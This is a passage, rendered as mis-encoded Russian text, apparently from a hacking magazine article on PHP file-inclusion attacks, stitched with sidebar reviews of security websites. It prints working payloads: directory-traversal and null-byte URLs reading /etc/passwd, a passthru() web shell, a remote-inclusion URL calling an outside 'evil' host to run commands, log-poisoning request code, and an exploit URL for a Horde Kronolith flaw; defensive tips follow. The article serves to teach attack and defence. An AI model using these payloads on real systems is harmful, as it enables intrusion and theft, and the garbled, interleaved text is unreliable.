ðèé, ðàçäåëåííûõ äâîåòî÷èåì â Unix èëè òî÷êîé
ñ çàïÿòîé â Windows.

Ñïåðâà ñèñòåìà èùåò ôàéëû â ïóòè include_path îòíî-
ñèòåëüíî òåêóùåé äèðåêòîðèè, à çàòåì � â include_pa-
th îòíîñèòåëüíî äèðåêòîðèè òåêóùåãî ñêðèïòà. Íàïðè-
ìåð, åñëè include_path èìååò çíà÷åíèå «.», òåêóùàÿ
ðàáî÷àÿ äèðåêòîðèÿ /www/, ðàáî÷èé ñöåíàðèé inclu-
de/a.php, è â ýòîì ñöåíàðèè ìû îñóùåñòâëÿåì âêëþ-
÷åíèå include «sample2.php», òî ñèñòåìà áóäåò èñêàòü
sample2.php ñíà÷àëà â /www/, à çàòåì â /www/include/.
Åñëè èìÿ ôàéëà íà÷èíàåòñÿ ñ ./ èëè ../, îí èùåòñÿ òîëü-
êî â include_path îòíîñèòåëüíî òåêóùåé äèðåêòîðèè.

Êîãäà ïðîèñõîäèò âêëþ÷åíèå ôàéëà, êîä, ñî-
äåðæàùèéñÿ â ýòîì ôàéëå, íàñëåäóåò ïåðåìåííûå,
ïðåäîïðåäåëåííûå äî ñòðîêè, íà êîòîðîé ïðîèñõî-
äèò âêëþ÷åíèå. Ëþáûå ïåðåìåííûå, äîñòóïíûå
â ýòîé ñòðîêå â âûçûâàþùåì ôàéëå, áóäóò äîñòóï-
íû âíóòðè âûçûâàåìîãî ôàéëà. Îòìåòèì, ÷òî âñå
ôóíêöèè è êëàññû, îïðåäåëåííûå âî âêëþ÷åííîì
ôàéëå, èìåþò ãëîáàëüíóþ îáëàñòü âèäèìîñòè.

include_once()/require_once(). Include_once()
âêëþ÷àåò è âûïîëíÿåò óêàçàííûé ôàéë âî âðåìÿ
âûïîëíåíèÿ ñêðèïòà. Äàííîå ïîâåäåíèå íàïîìèíà-
åò îïèñàííîå ðàíåå ïîâåäåíèå ôóíêöèè include(),
ñ åäèíñòâåííûì îòëè÷èåì, çàêëþ÷àþùèìñÿ â ñëå-
äóþùåì óñëîâèè: åñëè êîä ôàéëà óæå áûë âêëþ÷åí,
îí íå áóäåò âêëþ÷åí ñíîâà. Òàêèì îáðàçîì, êîä
âêëþ÷àåìîãî ôàéëà âûïîëíèòñÿ ëèøü ðàç. Îòëè÷èå
require_once() îò include_once() àíàëîãè÷íî îòëè÷èþ
ôóíêöèé include() è require(). Äàííûìè ôóíêöèÿìè
ñëåäóåò ïîëüçîâàòüñÿ, ÷òîáû èçáåæàòü ïðîáëåì,
ñâÿçàííûõ ñ ïåðåîïðåäåëåíèåì ôóíêöèé è ïåðåíàç-
íà÷åíèåì çíà÷åíèé ïåðåìåííûõ.

register_globals. Êàæäûé ïîëüçîâàòåëü, èíòå-
ðåñóþùèéñÿ ýêñïëîéòàìè è ïîñåùàþùèé áàãòðàê,
õîòÿ áû ðàç âèäåë ôðàçó: «Ýêñïëóàòèðîâàíèå óÿç-
âèìîñòè òðåáóåò âêëþ÷åíèÿ îïöèè register_globals
â êîíôèãóðàöèîííîì ôàéëå PHP». Äàâàé ðàçáå-
ðåìñÿ, ÷òî ýòî çà îïöèÿ è ñ ÷åì åå åäÿò.Ðàññìîòðèì
ïðèìåð, ñîñòîÿùèé èç òðåõ ôàéëîâ:

ôàéë ssample1.php:
<?php

$var1=�sample3�;

Include(�sample2.php�);

echo �hello�;

#�some code ..;

?>

ôàéë ssample2.php:
<?php

Include($var1.�.php�);

#�some code ..;

?>

ôàéë ssample3.php:
<?php

#�some code ..;

?>

Êàê âèäíî, ôàéë sample1.php âêëþ÷àåò sample2.php,
à ôàéë sample2.php âêëþ÷àåò sample3.php.

Ôàéë sample1.php óñòàíàâëèâàåò ïåðåìåííóþ
$var1 äî âûçîâà sample2.php. Çàòåì â sample2.php
âêëþ÷àåòñÿ ôàéë âíå çàâèñèìîñòè îò òîãî, êàêîå
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çíà÷åíèå èìååò $var1. Ïðîáëåìà äàííîãî êîäà
â ñëåäóþùåì: îí íå ó÷èòûâàåò, ÷òî êòî-òî ìîæåò ïî-
ëó÷èòü äîñòóï íàïðÿìóþ ê sample2.php.

Ïðîáëåìà ïðîÿâèò ñåáÿ, åñëè â êîíôèãóðàöè-
îííîì ôàéëå PHP âêëþ÷åíà äèðåêòèâà register_glo-
bals. Âêëþ÷åíèå äàííîé äèðåêòèâû îçíà÷àåò, ÷òî ëþ-
áàÿ ïåðåìåííàÿ ìîæåò áûòü óñòàíîâëåíà ÷åðåç çàï-
ðîñ ïîëüçîâàòåëÿ. Ïåðåìåííàÿ $var1 óñòàíîâëåíà
äî èñïîëüçîâàíèÿ â sample2.php, íî åñëè êòî-òî ïî-
ëó÷èò äîñòóï â sample2.php ïåðâûì (äî sample1.php),
è ñâîéñòâî register_globals áóäåò âêëþ÷åíî, òî çíà÷å-
íèå ïåðåìåííîé $var1 ìîæåò áûòü èçìåíåíî ÷åðåç
ïîëüçîâàòåëüñêèé çàïðîñ.

Ê ïðèìåðó, åñëè web-ïðèëîæåíèå äîñòóïíî ïî
ññûëêå www.vul_site.com/sample1.php, âñå, ÷òî íàì íóæíî
ñäåëàòü, � ýòî ïåðåéòè ïî àäðåñó www.vul_site.com/sam-
ple2.php è, â çàâèñèìîñòè îò íàñòðîåê â php.ini, ìû, ñêî-
ðåå âñåãî, ïîëó÷èì ñòðàíèöó ñ îøèáêîé, êîòîðàÿ ïîäñ-
êàæåò íàì, ÷òî sample2.php îæèäàåò íåêîòîðîå çíà÷å-
íèå äëÿ ïåðåìåííîé $var1. À ïîñêîëüêó ñâîéñòâî regis-
ter_globals âêëþ÷åíî, ïîëüçîâàòåëü ñàìîñòîÿòåëüíî
ìîæåò èíèöèàëèçèðîâàòü çíà÷åíèå äàííîé ïåðåìåí-
íîé ÷åðåç ñîîòâåòñòâóþùèé çàïðîñ: www.vul_site.com/-
sample2.php?var1=any_file_name. Ñöåíàðèé ïîïûòàåòñÿ
ïîäêëþ÷èòü ñîîòâåòñòâóþùèé èñêîìûé ôàéë, â ñëó-
÷àå íåóäà÷è áóäåò âûäàíî ñîîáùåíèå îá îøèáêå.

magic_quotes_gpc. Èòàê, ïîïûòàåìñÿ èçâëå÷ü
ïîëüçó è ïîäêëþ÷èòü âìåñòî âàëèäíîãî ñöåíàðèÿ,
íàïðèìåð, ôàéë, ñîäåðæàùèé õýøè ïàðîëåé ïîëü-
çîâàòåëåé /etc/passwd:

www.vul_site.com/sample2.php?var1=../../

../../../../../etc/passwd.

Íî â ðåçóëüòàòå ìû ïîëó÷èì îøèáêó. Ïîäêëþ÷åíèå
ôàéëà íå ïðîèçîéäåò ïîòîìó, ÷òî ñöåíàðèé sam-
ple2.php äîïèñûâàåò â êîíöå ëþáîãî ôàéëà ðàñøèðå-
íèå «.php» è ïûòàåòñÿ ïîëó÷èòü äîñòóï ê ../../../../../../-
../etc/passwd.ðhp, êîòîðîãî, åñòåñòâåííî, íå ñóùåñò-
âóåò. Ñîîòâåòñòâåííî, åñëè â ñâîèõ «ó÷åáíûõ» öåëÿõ
ìû õîòèì èñïîëüçîâàòü ÷òî-ëèáî ïîìèìî PHP-ñöåíà-
ðèåâ, íóæíî èçáåæàòü äîáàâëåíèÿ îêîí÷àíèÿ «.php».
Ðåøåíèå ïðîáëåìû ëåæèò â ôàéëå php.ini è íàçûâà-
åòñÿ magic_quotes_gpc. Magic_quotes_gpc � ýòî ñâîé-
ñòâî, äåéñòâèÿ êîòîðîãî ýêâèâàëåíòíû äåéñòâèþ
ôóíêöèè addslashes(). Äàííàÿ ôóíêöèÿ âîçâðàùàåò
ñðîêó, â êîòîðîé ïåðåä êàæäûì ñïåöñèìâîëîì (',",\ è
NUL (áàéò NULL)) äîáàâëåí îáðàòíûé ñëåø (\). Àááðå-
âèàòóðà GPC ðàñøèôðîâûâàåòñÿ êàê Get, Post, Co-
okie. Ýòî çíà÷èò, ÷òî ïî ñóòè magic_quotes_gpc ïðèìå-
íÿåò ôóíêöèþ addslashes() êî âñåì âàøèì GET-,
POST-, è COOKIE-äàííûì. 

Òàêèì îáðàçîì, åñëè ñâîéñòâî magic_quo-
tes_gpc óñòàíîâëåíî â «off», çíà÷èò, ñóùåñòâóåò âîç-
ìîæíîñòü âêëþ÷åíèÿ ëîêàëüíûõ ôàéëîâ ñ íóëåâûì
áàéòîì â êîíöå èìåíè ôàéëà. Â PHP íóëåâîé ñèìâîë
îáîçíà÷àåòñÿ êàê «\n», ÷òî ýêâèâàëåíòíî øåñòíàäöà-
òåðè÷íîìó çíà÷åíèþ «%00». 

Òàêèì îáðàçîì, ñëåäóþùèé çàïðîñ ñïîñîáåí
ïðåäîñòàâèòü èíòåðåñóþùèé íàñ ôàéë /etc/passwd:
www.vul_site.com/sample2.php?var1=../../../../../../../etc/passwd%00

Îòìåòèì, ÷òî ñèìâîëû «../» aka «dot dot slash» ÿâëÿ-
þòñÿ ñïåöèôèêàòîðàìè îáõîäà äèðåêòîðèé (Directory
Traversal Specifiers) è ñëóæàò äëÿ äîñòóïà ê ôàéëàì
âíå òåêóùåé äèðåêòîðèè. Òàê æå ìîæíî âêëþ÷àòü
óäàëåííûå ôàéëû, ñîäåðæàùèå çëîíàìåðåííûé êîä.

Ïðåäïîëîæèì, ìû õîòèì âêëþ÷èòü óäàëåí-
íûé ôàéë evilscript.php ñëåäóþùåãî ñîäåðæàíèÿ:

<?php

passthru($_GET[cmd]);

?>

Êîìàíäà passthru() â PHP âûïîëíÿåò óêàçàííûå êî-
ìàíäû íà ñåðâåðå. Ïåðåìåííàÿ $_GET æäåò óêàçàíèÿ
êîìàíäû è åå ïàðàìåòðîâ â çàïðîñå ïîëüçîâàòåëÿ.

Â ðåçóëüòàòå ìû ìîæåì ïîëó÷èòü ôàéë ñ ïà-
ðîëÿìè ïîëüçîâàòåëåé óæå äðóãèì ñïîñîáîì, èñ-
ïîëüçóÿ óäàëåííûé ñöåíàðèé evilscript.php è ÿâíî
óêàçàâ íóæíóþ êîìàíäó â ñòðîêå çàïðîñà:

http://localhost/index.php?page=http://

someevilhost.com/evilscript.php?

cmd=cat /etc/passwd

èíæåêòèðîâàíèå ññöåíàðèÿ ââ ëîã-ôôàéëû. Èíîã-
äà âîçíèêàåò ñèòóàöèÿ, êîãäà àäìèíèñòðàòîð ñàéòà
ñ ïîìîùüþ íåêîòîðûõ íàñòðîåê çàïðåùàåò ïîäêëþ-
÷àòü óäàëåííûå ôàéëû. Íàïðèìåð, óñòàíîâêà îïöèè
allow_url_fopen â çíà÷åíèå «off» çàïðåòèò âêëþ÷àòü
ñöåíàðèè ñ óäàëåííûõ ðåñóðñîâ. Òåì íå ìåíåå, äà-
æå â ýòîé ñèòóàöèè îñòàåòñÿ âîçìîæíîñòü èíæåêòè-
ðîâàòü ñîáñòâåííûé PHP-êîä â æóðíàë ðåãèñòðàöèè
ñîáûòèé. Äëÿ ýòîãî íóæíî ñîñòàâèòü HTTP-GET-
çàïðîñ, ñîäåðæàùèé â ñåáå PHP-êîä, êîòîðûé íåîá-
õîäèìî âûïîëíèòü.

$CODE ='<?php ob_clean();echo 

START;$_GET[cmd]=striplashes($_GET[cmd]);

passthru($_GET[cmd]);echo START;die;?>'; 

$content.="GET /path/".$CODE."

HTTP/1.1/n"; 

$content.="User-Agent: ".$CODE."/n";

$content.="Host: ".$host."/n"; 

$content.="Connection: close/n/n";

Â ðåçóëüòàòå PHP-êîä áóäåò ïåðåäàí ñåðâåðó ÷åðåç
ïðåäñòàâëåííûé çàïðîñ. Ñåðâåð çàðåãèñòðèðóåò ïî-
ïûòêó äîñòóïà â ñâîèõ ëîãàõ. Ýòî çíà÷èò, ÷òî â ôàé-
ëàõ ðåãèñòðàöèè ñîáûòèé îñòàíåòñÿ è íàø PHP-êîä.
Ïîñëå ýòîãî îñòàåòñÿ òîëüêî ïîëó÷èòü äîñòóï ê æóð-
íàëàì ÷åðåç ëîêàëüíîå âêëþ÷åíèå ôàéëîâ. Âûïîë-
íåíèå ëîã-ôàéëà ïðè âêëþ÷åíèè íè÷åì íå îòëè÷àåò-
ñÿ îò âûïîëíåíèÿ PHP-ñöåíàðèÿ: ëèøíèé ìóñîð áóäåò
îòáðîøåí, à ôóíêöèè PHP � âûïîëíåíû. Ïåðåäàí-
íûå êîìàíäû áóäóò âûïîëíåíû áåç íåîáõîäèìîñòè
âêëþ÷åíèÿ óäàëåííîãî ôàéëà. Äëÿ âûïîëíåíèÿ äàí-
íîãî ýêñïëîéòà íåîáõîäèìî âêëþ÷åíèå îïöèè regis-
ter_globals è âûêëþ÷åíèå îïöèè magic_quotes_gpc.

óÿçâèìîñòü ââ HHorde KKronolith. Íà ìîìåíò íàïè-
ñàíèÿ äàííîé ñòàòüè îäíîé èç ïîñëåäíèõ íà iDefence
Labs áûëà íîâîñòü îá óÿçâèìîñòè â web-êàëåíäàðå

Horde Kronolith, ïîçâîëÿþùåé âêëþ÷èòü è âûïîëíèòü
ïðîèçâîëüíûé ëîêàëüíûé ôàéë. Â îïóáëèêîâàííîé
íîâîñòè ðàññìàòðèâàåòñÿ ïðîáëåìíûé ó÷àñòîê êîäà,
íî íå ïðèâîäèòñÿ ïðèìåð ýêñïëóàòèðîâàíèÿ óÿçâè-
ìîñòè. Äàâàé ïðîàíàëèçèðóåì, íàñêîëüêî ëåãêî çëî-
óìûøëåííèê ìîæåò ñîñòàâèòü ýêñïëîéò, èìåÿ ïåðåä
ãëàçàìè ïðîáëåìíûé ó÷àñòîê êîäà. 

Íà ñàéòå ïðèâîäèëñÿ ñëåäóþùèé ó÷àñòîê
ïðîáëåìíîãî êîäà ñöåíàðèÿ 'lib/FBView.php':

177 function &factory($view)

178 {

179 $driver = basename($view);

180 require_once dirname(__FILE__) .

'/FBView/' . $view . '.php';

Êàê âèäíî, óÿçâèìîñòü îáíàðóæåíà â ôóíêöèè
Kronolith_FreeBusy_View::factory, êîòîðàÿ âêëþ÷àåò
ëîêàëüíûå ôàéëû, ïåðåäàííûå ÷åðåç 'view' HTTP-
GET-ïàðàìåòð çàïðîñà. Â ñòðîêå 179 ñ ïîìîùüþ
ôóíêöèè basename(string path [, string suffix]) îñóùåñ-
òâëåíà ïðîâåðêà ââîäèìûõ äàííûõ. Äàííàÿ ôóíêöèÿ
âîçâðàùàåò èìÿ ôàéëà, ÷åé ïóòü ïåðåäàåòñÿ â êà÷å-
ñòâå ïàðàìåòðà. Åñëè èìÿ ôàéëà îêàí÷èâàåòñÿ íà
suffix, îí òàêæå áóäåò îòáðîøåí. Òàêèì îáðàçîì, èñ-
ïîëüçóÿ ôóíêöèþ basename(), ðàçðàáîò÷èêè ïîçàáî-
òèëèñü îá îáðåçàíèè âîçìîæíûõ çëîíàìåðåííûõ
ñèìâîëîâ, ñîäåðæàùèõñÿ â ïåðåìåííîé $view. Îäíà-
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ÑÎ ÑÒÐÅËÊÎÉ-ÓÊÀÇÀÒÅËÅÌ ÑËÅÂÀ
ÍÀ ÏÀÍÅËÈ ÈÍÑÒÐÓÌÅÍÒÎÂ DOM-
ÈÍÑÏÅÊÒÎÐÀ È ÊËÈÊÀß ÏÎ
ÈÍÒÅÐÅÑÓÞÙÅÌÓ ÍÀÑ ÝËÅÌÅÍÒÓ
ÈÑÑËÅÄÓÅÌÎÉ ÑÒÐÀÍÈÖÛ, ÌÎÆÍÎ
ËÅÃÊÎ ÏÅÐÅÄÂÈÃÀÒÜÑß È ÈÇÌÅÍßÒÜ
ÍÓÆÍÛÅ ÒÅÃÈ È ÈÕ ÀÒÐÈÁÓÒÛ.



êî â ñòðîêå 180 íå èñïîëüçóåòñÿ ðåçóëüòèðóþùàÿ ïå-
ðåìåííàÿ $driver. Ïî íåâíèìàòåëüíîñòè ðàçðàáîò÷èê
ïî-ïðåæíåìó èñïîëüçóåò ïåðåìåííóþ $view ïðè ïîäê-
ëþ÷åíèè ôàéëà. Èñïîëüçóÿ ñèìâîëû îáõîäà äèðåêòî-
ðèé (../) è íóëåâûå áàéòû (%00), àòàêóþùèé ìîæåò ïî-
ëó÷èòü äîñòóï ê ëîêàëüíûì ôàéëàì web-ñåðâåðà.

Â ðåçóëüòàòå, äëÿ îòîáðàæåíèÿ âñå òîãî æå
ôàéëà ïàðîëåé, íàõîäÿùåãîñÿ â ôàéëå /etc/passwd,
÷åðåç ïåðåìåííóþ $view íóæíî âûïîëíèòü çàïðîñ:

http://vul_site/path/lib/FBView.php?view=

../../../../../../../../../etc/passwd%00.

Ïîëó÷àåòñÿ, ÷òî äàæå áåç ÿâíîãî ýêñïëîéòà çëîóìûø-
ëåííèêó íå ñîñòàâëÿåò òðóäà ðàçðàáîòàòü ñîáñòâåí-
íûé âàðèàíò íàïàäåíèÿ ïî ïðèâîäèìûì äàííûì ïðî-
èçâîäèòåëåé èëè àíàëèòèêîâ áåçîïàñíîñòè î ïðîá-
ëåìíûõ ó÷àñòêàõ êîäà â ïðîãðàììíîì îáåñïå÷åíèè.

çàùèòà wweb-ïïðèëîæåíèÿ. Èòàê, ñåé÷àñ ìû óæå
çíàåì, êàê óñòðîåíû LFI-/RFI-ýêñïëîéòû è êàêèå
îøèáêè ïðîãðàììèñòîâ îíè èñïîëüçóþò. Òåïåðü
íóæíî ïîíÿòü, êàê íå äàòü óäàëåííîìó çëîóìûøëåí-

íèêó îñóùåñòâèòü PHP-èíêëþäèíã ñöåíàðèåâ.
Ñàìûì ïðîñòûì ïðèìåðîì, èñêëþ÷àþùèì

ëþáóþ âîçìîæíîñòü èíæåêòèðîâàíèÿ çëîíàìåðåí-
íîãî êîäà ÷åðåç URL, ÿâëÿåòñÿ îòêàç îò èñïîëüçî-
âàíèÿ ïåðåìåííîé äëÿ õðàíåíèÿ èìåíè ñöåíàðèÿ.
Âìåñòî ýòîãî èìÿ ñöåíàðèÿ íóæíî óêàçûâàòü ÿâíî.

Ðàññìîòðèì ïðèìåð: Ïóñòü âêëþ÷åíèå ôàéëà ïðî-
èñõîäèò ñëåäóþùèì îáðàçîì: require($page . «other-
page.php»);. Ìû óæå çíàåì, ÷òî äàííûé êîä ïîòåíöè-
àëüíî óÿçâèì. Óñòðàíèì óÿçâèìîñòü, ÿâíî óêàçàâ ñöå-
íàðèé: require(«otherpage.php»);. Òàêèì îáðàçîì,
â ñòðîêå çàïðîñà âìåñòî ñòðîêè  index.php?pa-
ge=otherpage.php ìû ïîëó÷èì ñîâåðøåííî áåçîáèä-
íóþ ñòðîêó, óñòðàíÿþùóþ âîçìîæíîñòü âêëþ÷åíèÿ
ñòîðîííåãî ñöåíàðèÿ: index.php?otherpage.php.

Íî ÷òî åñëè èñïîëüçîâàíèå ïåðåìåííîé æèç-
íåííî íåîáõîäèìî äëÿ íàøåé ïðîãðàììû? ×òîáû
áûòü óâåðåííûì, ÷òî íèêòî íå äîïèøåò â ïåðåìåí-
íóþ çëîíàìåðåííûé êîä, íåîáõîäèìî èçáàâèòüñÿ îò
âñåõ ëèøíèõ ñèìâîëîâ â ñòðîêå çàïðîñà, âêëþ÷àÿ
ñèìâîë ïåðåâîäà ñòðîêè «\n», ñèìâîë ïðîáåëà « »,
ñèìâîë òàáóëÿöèè «\t», ñèìâîë âîçâðàòà êàðåòêè «\r»
è äðóãèå. Ðåøèòü ïðîáëåìó ïîìîæåò ôóíêöèÿ chop()
(èëè åå ïñåâäîíèì rtrim()), êîòîðàÿ âîçâðàùàåò ñòðî-
êó ñ óäàëåííûìè ñïåöñèìâîëàìè ñ êîíöà ñòðîêè.

ïðèìåð èèñïîëüçîâàíèÿ cchop():
<a href=index.php?page=file1.php>Files</a>

<?php

$page = chop($_GET[page]);

include($page);

?>

Ñëåäóåò òàêæå ó÷èòûâàòü, ÷òî â îáùåì ñëó÷àå äàí-
íûå â áàçó áóäóò ââîäèòüñÿ íåïðîâåðåííûìè ïîëüçî-
âàòåëÿìè. È ñðàçó ïîñëå èçâëå÷åíèÿ èç áàçû � èñ-

ïîëüçîâàòüñÿ äëÿ ãåíåðàöèè html-ñòðàíèö, íàïðèìåð,
ñòðàíèöû ãîñòåâîé êíèãè. Äëÿ èñêëþ÷åíèÿ ïîòåíöè-
àëüíîé îïàñíîñòè èñïîëüçîâàíèÿ òåãîâ è êîìàíä
JavaScript íåîáõîäèìî ïðåîáðàçîâàòü õðàíèìûå
äàííûå ñ ïîìîùüþ ôóíêöèè PHP htmlspecialchars().

Òàêæå ñòîèò çàïðåòèòü â PHP èñïîëüçîâàíèå
îïàñíûõ ôóíêöèé, íàïîäîáèå ðàññìîòðåííîé ðàíåå
passthru(), êîòîðàÿ èñïîëíÿåò ïåðåäàííûå åé êîìàí-
äû ñ ïðèâèëåãèÿìè çàïóùåííîãî web-ñåðâåðà. Íå
çàáóäåì è ïðî íåêîòîðûå îñîáåííî êðèòè÷åñêèå îï-
öèè â php.ini. Ïî âîçìîæíîñòè, íóæíî âûêëþ÷èòü äè-
ðåêòèâû register_globals è allow_url_fopen è âêëþ-
÷èòü äèðåêòèâó magic_quotes_gpc. Êîíå÷íî, íåîáõî-
äèìî ó÷èòûâàòü, ÷òî êòî-òî ìîæåò èñïîëüçîâàòü
äàííóþ ôóíêöèîíàëüíîñòü è â ëåãèòèìíûõ öåëÿõ.

ñîâåò ââ äîðîãó. Ïðîãðàììèðóÿ, íåîáõîäèìî
ïîìíèòü, ÷òî íåàêêóðàòíîå èñïîëüçîâàíèå ôóíêöèé
require(), include() è èì ïîäîáíûõ ìîæåò ïðèâåñòè íå
òîëüêî ê èíòåðïðåòèðîâàíèþ PHP-êîäà íà ñòîðîíå
ñåðâåðà, íî è êî ìíîãèì äðóãèì àòàêàì. Íàïðèìåð,
åñëè ôàéë, êîòîðûé äîëæåí áûòü âêëþ÷åí, íå ñóùå-
ñòâóåò, óäàëåííûé çëîóìûøëåííèê ìîæåò ïðîâåñòè
XSS-íàïàäåíèå è âûïîëíèòü JavaScript-êîä â áðàó-
çåðå ïîëüçîâàòåëÿ-æåðòâû. Òàêæå îòñóòñòâèå âêëþ-
÷àåìîãî ôàéëà ìîæåò ïîâëå÷ü çà ñîáîé ðàñêðûòèå
êîíôèäåíöèàëüíîé èíôîðìàöèè, ïîëåçíîé äëÿ õà-
êåðà, ÷åðåç ïîëó÷åíèå ñîîáùåíèÿ îá îøèáêå. Ïîñ-
êîëüêó ñèíòàêñèñ ñîîáùåíèÿ îá îøèáêå äëÿ ôóíê-
öèè include() ñîäåðæèò âûâîä íàçâàíèÿ ïàðàìåòðà
è ïóòü ê ñöåíàðèþ:

Warning: main(%parameter%): failed

to open stream: No such file or directory

in %path% on line %x%

Warning: main(): Failed opening

'%parameter%' for inclusion

(include_path='%path%') in %path%

on line %x%

òî ñëåäóþùèé êîä:

<?php

if(!is_file("My_param"

.$_GET['filename'])){

...

}

?>

Â ñëó÷àå íåâîçìîæíîñòè îáíàðóæèòü èñêîìûé ôàéë,
âûäàñò ñîîáùåíèå îá îøèáêå, äåìîíñòðèðóþùåå õà-
êåðó öåëåâîé ïàðàìåòð è èìÿ ñöåíàðèÿ:

Warning: main(): Failed opening

My_param for inclusion

(include_path=/whatever/path/

filename.php) in /whatever/path/

filename.php

on line 2

Íà ýòîì íàøå ïîâåñòâîâàíèå ïîäõîäèò ê êîíöó. Æå-
ëàåì óäà÷è íà íèâå IT-áåçîïàñíîñòè.
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Èíñïåêòîð DOM

PHP-èíêëþäèíã â Horde Kronolith
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Êàê çàÿâëÿþò àâòîðû
ïðîåêòà, INFOSAFE �
ïåðâûé ñïåöèàëèçèðî-
âàííûé «ðåñóðñ ðåñóð-
ñîâ» îá èíôîðìàöèîí-
íîé áåçîïàñíîñòè. Îí
ïðåäñòàâëÿåò ñîáîé
«óäîáíûé è ïîëíûé òå-
ìàòè÷åñêèé èíòåðíåò-
êàòàëîã», à â ñîâîêóï-
íîñòè ñ ðåéòèíãîâîé
ñèñòåìîé � ýòàêèé
âñåîáúåìëþùèé èí-
ôîðìàöèîííûé ïîðòàë.
Ðåñóðñû â íåì ñîðòèðó-

þòñÿ ïî óáûâàíèþ ðåé-
òèíãà, êîòîðûé íàïðÿ-
ìóþ çàâèñèò îò ãîëîñî-
âàíèÿ ïîñåòèòåëåé.
Ïî êàæäîìó ðàçäå-
ëó ÈÒ ïðåäëàãàåòñÿ
âûáðàòü òèï èñêîìûõ
äàííûõ: ëèáî ìû èùåì
ìàòåðèàëû â âèäå ñòà-
òåé, à âîçìîæíî � ïîä-
õîäÿùèé ôîðóì èëè
âîâñå îí-ëàéí ìàãàçèí.
Èòîãî: ïîëåçíûé, ñòðå-
ìèòåëüíî ðàçâèâàþ-
ùèéñÿ ðåñóðñ.
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INFOSAFE

www.infosafe.ru

À ýòî íîâè÷îê â ñåãîä-
íÿøíåì îáçîðå èíòåð-
íåò-ðåñóðñîâ. Ñðàâíè-
òåëüíî ìîëîäîé ïðîåêò
â òîì ÷èñëå è íà òåìó
IT-security. Ôîðóì,
êàê è îáû÷íî ó çåëå-
íûõ õàöêåðñêèõ ïðîåê-
òîâ, âðÿä ëè çàìàíèò
ñâîèì ñîäåðæàíèåì
ïðîäâèíóòûõ áåçîïàñ-
íèêîâ, íî íà÷èíàþùèì

çäåñü áóäåò â ñàìûé
ðàç. Ñòàòüè èìåþòñÿ
íåïëîõèå, íî â îñíîâ-
íîì ýòî ñòàðåíüêèå
òåêñòû ñî ñòîðîííèõ
ïîðòàëîâ. Âîçìîæíî,
íåêîòîðûì áóäåò èíòå-
ðåñåí èíòåðíåò-ìàãà-
çèí ñ ðàçíîîáðàçèåì
óèíîâ, ïèíîâ, ïëàñòèêà
è òîìó ïîäîáíûìè
âêóñíîñòÿìè.
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Root-Access

www.root-access.org

ïðèòîíû
èíòåðíåòà
Îáçîð ñàéòîâ ïî èíôîðìàöèîííîé áåçîïàñíîñòè

ÊÀÊ ÍÈ ÊÐÓÒÈ, À ÈÍÔÎÐÌÀÖÈß ÑÅÉ×ÀÑ ÎÏÐÅÄÅËßÅÒ ÍÀ ÏËÀÍÅÒÅ ÏÐÀÊÒÈ×ÅÑÊÈ ÂÑÅ.
È ÂÅÄÜ Ó ÊÎÃÎ ÅÅ ÁÎËÜØÅ, Ó ÊÎÃÎ ÎÍÀ ÏÎËÍÅÅ È ÀÊÒÓÀËÜÍÅÅ � ÒÎÒ È ÑÈËÜÍÅÅ. ×ÒÎÁÛ
Ó ÒÅÁß ÍÅ ÎÒÎÁÐÀËÈ ÒÂÎÈ ÑÎÁÑÒÂÅÍÍÛÅ ÁÀÉÒÛ È ÍÅ ÎÑÒÀÂÈËÈ ÁÅÑÏÎÌÎÙÍÛÌ �
×ÈÒÀÉ ÍÀØ ÎÁÇÎÐ ËÓ×ØÈÕ ÏÎÐÒÀËÎÂ ÏÎ ÇÀÙÈÒÅ ÈÍÔÎÐÌÀÖÈÈ!

Þðèé Íàóìîâ aka Crazy_script
script@real.õakep.ru 

ß äóìàþ, ìíîãèì èç-
âåñòåí ýòîò ïðîåêò.
Void.ru � ñâîåãî ðîäà
íåçàâèñèìàÿ ïðåññà,
íå òàê äàâíî îñâå-
ùàâøàÿ ðàçíîîáðàç-
íûå àñïåêòû èíôîð-
ìàöèîííîé áåçîïàñ-
íîñòè. Âñå ýòî áûëî
ïîñòðîåíî ñóãóáî íà
ýíòóçèàçìå ó÷àñòíè-
êîâ ïðîåêòà. Ñåé÷àñ
ïîðòàë îáíîâëÿåòñÿ
ðåäêî, íî, íåñìîòðÿ
íà ýòî, ïîïóëÿðíîñòü
åãî íå óïàëà. Ïîìèìî
ñòàòåé è íîâîñòåé, ïî-
ñåòèòåëÿì è ñåãîäíÿ
ïðåäëàãàþòñÿ óäîá-
íûå îí-ëàéí ñåðâèñû:
ïðîêñè-÷åêåð ñî ñïèñ-
êîì òîëüêî ÷òî ïðîâå-
ðåííûõ àäðåñîâ, àíî-
íèìíûé ìåéëåð, âñå-
âîçìîæíûå äåøèô-
ðàòîðû ïàðîëåé ðàç-
ëè÷íîãî ÏÎ, áàçà
ÌÀÑ-àäðåñîâ. Çàìå-
÷ó, ÷òî ñåé÷àñ íåìàëî
ñàéòîâ ìîëîäûõ ñåêü-
þðèòè-êîìàíä õîñòÿò-
ñÿ èìåííî íà void.ru.
Ïðîåêò åùå æèâ!
Ïóñòü è íå íàñòîëüêî
àêòèâåí, íî îïðåäå-
ëåííî æèâ. 
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Void.ru

www.void.ru
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Íà ìîé âçãëÿä, ñàìûé
èçâåñòíûé è ïîïóëÿð-
íûé (îêîëî 27 òûñÿ÷
çàðåãèñòðèðîâàííûõ
ïîëüçîâàòåëåé) èíôîð-
ìàöèîííûé ïîðòàë
â Ðîññèè, ðàññêàçûâà-
þùèé î ñîáûòèÿõ 
â îáëàñòè çàùèòû 
èíôîðìàöèè è íîâûõ
òåõíîëîãèé. Positive
Technologies (âëàäåëü-
öû ïîðòàëà www.ptsecu-
rity.ru) � óñïåøíàÿ êîí-
òîðà â ñôåðå âåá-áåçî-
ïàñíîñòè, çàíèìàþùàÿ
ëèäèðóþùåå ìåñòî 
íà ðîññèéñêîì ðûíêå.
Íàáðàâ ýòîò àäðåñ
â ñâîåì áðàóçåðå, 
òû ïîëó÷èøü äîñòóï
ê ñàìûì ñâåæèì 
è àêòóàëüíûì ñîáûòè-
ÿì â îáëàñòè IT-security. 

Ñïåöû ïîðòàëà 
çàáîòÿòñÿ î òîì, ÷òîáû
ïîñåòèòåëü ïîëó÷èë 
ñàìóþ èñ÷åðïûâàþùóþ
èíôîðìàöèþ îáî âñåõ
íàéäåííûõ óÿçâèìîñ-
òÿõ, èõ àíàëèç ñ òî÷êè
çðåíèÿ ïðîôåññèîíà-

ëîâ ýòîé îáëàñòè,
à òàêæå êîíêðåòíûå
ðåêîìåíäàöèè ïî ðå-
øåíèþ ïðîáëåì. Â àíà-
